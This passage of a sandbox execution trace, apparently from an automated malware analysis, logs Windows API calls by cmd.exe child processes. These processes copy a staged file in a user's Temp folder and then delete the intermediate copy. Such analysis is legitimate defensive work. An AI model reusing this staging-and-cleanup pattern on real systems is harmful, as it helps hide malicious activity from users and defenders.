"c:\\windows\\system32")) returned 1 [0151.414] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0151.414] GetProcessHeap () returned 0xa0000 [0151.414] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbc710 | out: hHeap=0xa0000) returned 1 [0151.415] GetEnvironmentStringsW () returned 0xb9ab0* [0151.415] GetProcessHeap () returned 0xa0000 [0151.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac0) returned 0xbbc70 [0151.415] FreeEnvironmentStringsW (penv=0xb9ab0) returned 1 [0151.415] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.415] GetProcessHeap () returned 0xa0000 [0151.415] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb64f0 | out: hHeap=0xa0000) returned 1 [0151.415] GetProcessHeap () returned 0xa0000 [0151.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4016) returned 0xbdc80 [0151.415] GetProcessHeap () returned 0xa0000 [0151.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0xbc740 [0151.415] GetProcessHeap () returned 0xa0000 [0151.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4010) returned 0xc1ca0 [0151.415] GetProcessHeap () returned 0xa0000 [0151.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4010) returned 0xc5cc0 [0151.416] GetProcessHeap () returned 0xa0000 [0151.416] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbdc80 | out: hHeap=0xa0000) returned 1 [0151.416] GetConsoleOutputCP () returned 0x1b5 [0151.417] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7fbfe0 | out: lpCPInfo=0x4a7fbfe0) returned 1 [0151.417] GetUserDefaultLCID () returned 0x409 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a7f7b50, cchData=8 | out: lpLCData=":") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x29f870, cchData=128 | out: lpLCData="0") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x29f870, cchData=128 | out: lpLCData="0") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x29f870, cchData=128 | out: lpLCData="1") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a80a740, cchData=8 | out: lpLCData="/") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a80a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a80a460, cchData=32 | out: lpLCData="Tue") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a80a420, cchData=32 | out: lpLCData="Wed") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a80a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a80a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a80a360, cchData=32 | out: lpLCData="Sat") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a80a700, cchData=32 | out: lpLCData="Sun") returned 4 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a7f7b40, cchData=8 | out: lpLCData=".") returned 2 [0151.417] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a80a4e0, cchData=8 | out: lpLCData=",") returned 2 [0151.418] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0151.418] GetProcessHeap () returned 0xa0000 [0151.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x0, Size=0x20c) returned 0xbc7e0 [0151.418] GetConsoleTitleW (in: lpConsoleTitle=0xbc7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.418] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0151.418] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0151.418] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0151.419] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0151.419] GetProcessHeap () returned 0xa0000 [0151.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4012) returned 0xbdc80 [0151.419] GetProcessHeap () returned 0xa0000 [0151.419] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbdc80 | out: hHeap=0xa0000) returned 1 [0151.419] _wcsicmp (_String1="echo", _String2=")") returned 60 [0151.419] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0151.419] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0151.419] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0151.419] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0151.419] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0151.419] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0151.419] GetProcessHeap () returned 0xa0000 [0151.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0xbca00 [0151.419] GetProcessHeap () returned 0xa0000 [0151.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0xb45f0 [0151.420] GetProcessHeap () returned 0xa0000 [0151.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0xb4620 [0151.420] GetProcessHeap () returned 0xa0000 [0151.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0xb64f0 [0151.423] GetProcessHeap () returned 0xa0000 [0151.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0xbcac0 [0151.423] GetProcessHeap () returned 0xa0000 [0151.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0xb4650 [0151.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.423] GetFileType (hFile=0x7) returned 0x2 [0151.424] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0151.424] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x29f748 | out: lpMode=0x29f748) returned 1 [0151.424] _dup (_FileHandle=1) returned 3 [0151.424] _close (_FileHandle=1) returned 0 [0151.425] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0151.425] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x29f6f8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0151.425] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0151.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.425] GetFileType (hFile=0x50) returned 0x1 [0151.425] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13b47 [0151.425] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x29f758*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x29f758*=0) returned 0x13b46 [0151.425] ReadFile (in: hFile=0x50, lpBuffer=0x29f748, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x29f6f0, lpOverlapped=0x0 | out: lpBuffer=0x29f748*, lpNumberOfBytesRead=0x29f6f0*=0x1, lpOverlapped=0x0) returned 1 [0151.425] GetConsoleTitleW (in: lpConsoleTitle=0x29f780, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.425] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0151.425] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0151.425] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0151.425] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0151.426] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0151.426] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0151.426] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0151.426] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0151.426] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0151.426] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0151.426] GetProcessHeap () returned 0xa0000 [0151.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0xb8570 [0151.426] GetProcessHeap () returned 0xa0000 [0151.426] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xb8570, Size=0x24) returned 0xb4680 [0151.426] GetProcessHeap () returned 0xa0000 [0151.426] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xb4680) returned 0x24 [0151.426] GetProcessHeap () returned 0xa0000 [0151.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0xb65b0 [0151.427] _vsnwprintf (in: _Buffer=0x4a806340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x29f518 | out: _Buffer="-------- \r\n") returned 11 [0151.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.427] GetFileType (hFile=0x50) returned 0x1 [0151.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4a7fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0151.427] WriteFile (in: hFile=0x50, lpBuffer=0x4a7fc320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29f4e8, lpOverlapped=0x0 | out: lpBuffer=0x4a7fc320*, lpNumberOfBytesWritten=0x29f4e8*=0xb, lpOverlapped=0x0) returned 1 [0151.427] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0151.428] _close (_FileHandle=3) returned 0 [0151.429] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.429] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0151.429] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.429] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7ee194 | out: lpMode=0x4a7ee194) returned 1 [0151.429] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.429] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7ee198 | out: lpMode=0x4a7ee198) returned 1 [0151.429] SetConsoleInputExeNameW () returned 0x1 [0151.429] GetConsoleOutputCP () returned 0x1b5 [0151.429] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7fbfe0 | out: lpCPInfo=0x4a7fbfe0) returned 1 [0151.430] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.430] exit (_Code=0) Process: id = "45" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x18b7c000" os_pid = "0x580" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 352 os_tid = 0x914 [0151.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x15fdd0 | out: lpSystemTimeAsFileTime=0x15fdd0*(dwLowDateTime=0x1627250, dwHighDateTime=0x1d51ed5)) [0151.497] GetCurrentProcessId () returned 0x580 [0151.497] GetCurrentThreadId () returned 0x914 [0151.497] GetTickCount () returned 0x31bf8 [0151.497] QueryPerformanceCounter (in: lpPerformanceCount=0x15fdd8 | out: lpPerformanceCount=0x15fdd8*=27602171692) returned 1 [0151.499] GetModuleHandleW (lpModuleName=0x0) returned 0x4ab90000 [0151.499] __set_app_type (_Type=0x1) [0151.499] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4abb7810) returned 0x0 [0151.499] __getmainargs (in: _Argc=0x4abda608, _Argv=0x4abda618, _Env=0x4abda610, _DoWildCard=0, _StartInfo=0x4abbe0f4 | out: _Argc=0x4abda608, _Argv=0x4abda618, _Env=0x4abda610) returned 0 [0151.499] GetCurrentThreadId () returned 0x914 [0151.499] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x914) returned 0x3c [0151.499] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0151.499] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0151.499] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.501] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0151.501] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x15fd68 | out: phkResult=0x15fd68*=0x0) returned 0x2 [0151.501] VirtualQuery (in: lpAddress=0x15fd50, lpBuffer=0x15fcd0, dwLength=0x30 | out: lpBuffer=0x15fcd0*(BaseAddress=0x15f000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.501] VirtualQuery (in: lpAddress=0x60000, lpBuffer=0x15fcd0, dwLength=0x30 | out: lpBuffer=0x15fcd0*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.501] VirtualQuery (in: lpAddress=0x61000, lpBuffer=0x15fcd0, dwLength=0x30 | out: lpBuffer=0x15fcd0*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.501] VirtualQuery (in: lpAddress=0x64000, lpBuffer=0x15fcd0, dwLength=0x30 | out: lpBuffer=0x15fcd0*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.501] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x15fcd0, dwLength=0x30 | out: lpBuffer=0x15fcd0*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0151.501] GetConsoleOutputCP () returned 0x1b5 [0151.501] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abcbfe0 | out: lpCPInfo=0x4abcbfe0) returned 1 [0151.501] SetConsoleCtrlHandler (HandlerRoutine=0x4abb3184, Add=1) returned 1 [0151.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.501] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0151.502] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.502] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4abbe194 | out: lpMode=0x4abbe194) returned 1 [0151.502] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.502] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0151.502] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.502] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4abbe198 | out: lpMode=0x4abbe198) returned 1 [0151.502] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.502] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0151.503] GetEnvironmentStringsW () returned 0x208bd0* [0151.503] GetProcessHeap () returned 0x1f0000 [0151.503] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xa78) returned 0x209650 [0151.503] FreeEnvironmentStringsW (penv=0x208bd0) returned 1 [0151.503] GetProcessHeap () returned 0x1f0000 [0151.503] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x8) returned 0x208a50 [0151.503] GetEnvironmentStringsW () returned 0x208bd0* [0151.503] GetProcessHeap () returned 0x1f0000 [0151.503] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xa78) returned 0x20a0d0 [0151.503] FreeEnvironmentStringsW (penv=0x208bd0) returned 1 [0151.503] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15ec28 | out: phkResult=0x15ec28*=0x44) returned 0x0 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x18, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x1, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x1, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x0, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x40, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x40, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.503] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x40, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.503] RegCloseKey (hKey=0x44) returned 0x0 [0151.503] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x15ec28 | out: phkResult=0x15ec28*=0x44) returned 0x0 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x40, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x1, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x1, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x0, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x9, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x4, lpData=0x15ec40*=0x9, lpcbData=0x15ec24*=0x4) returned 0x0 [0151.504] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x15ec20, lpData=0x15ec40, lpcbData=0x15ec24*=0x1000 | out: lpType=0x15ec20*=0x0, lpData=0x15ec40*=0x9, lpcbData=0x15ec24*=0x1000) returned 0x2 [0151.504] RegCloseKey (hKey=0x44) returned 0x0 [0151.504] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd209b [0151.504] srand (_Seed=0x5cfd209b) [0151.504] GetCommandLineW () returned="cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0151.504] GetCommandLineW () returned="cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0151.504] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4abcc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.504] GetProcessHeap () returned 0x1f0000 [0151.504] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x218) returned 0x20ab50 [0151.504] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20ab60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0151.504] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4abbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0151.504] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4abbf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0151.504] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4abbf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.505] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0151.505] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0151.505] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0151.505] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0151.505] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0151.505] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0151.505] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0151.505] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0151.505] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0151.505] GetProcessHeap () returned 0x1f0000 [0151.505] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x209650 | out: hHeap=0x1f0000) returned 1 [0151.505] GetEnvironmentStringsW () returned 0x208bd0* [0151.505] GetProcessHeap () returned 0x1f0000 [0151.505] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xa90) returned 0x20b810 [0151.505] FreeEnvironmentStringsW (penv=0x208bd0) returned 1 [0151.505] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4abbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.505] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4abbf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.505] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0151.505] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0151.505] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0151.505] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0151.505] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0151.505] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0151.505] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0151.505] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0151.505] GetProcessHeap () returned 0x1f0000 [0151.505] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x38) returned 0x206600 [0151.506] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x15fa30 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x15fa30, lpFilePart=0x15fa10 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x15fa10*="system32") returned 0x13 [0151.506] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0151.506] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x15f740 | out: lpFindFileData=0x15f740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd20000d2, cFileName="Windows", cAlternateFileName="")) returned 0x1f1320 [0151.506] FindClose (in: hFindFile=0x1f1320 | out: hFindFile=0x1f1320) returned 1 [0151.506] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x15f740 | out: lpFindFileData=0x15f740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd20000d2, cFileName="System32", cAlternateFileName="")) returned 0x1f1320 [0151.506] FindClose (in: hFindFile=0x1f1320 | out: hFindFile=0x1f1320) returned 1 [0151.506] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0151.506] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0151.506] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0151.506] GetProcessHeap () returned 0x1f0000 [0151.506] HeapFree (in: 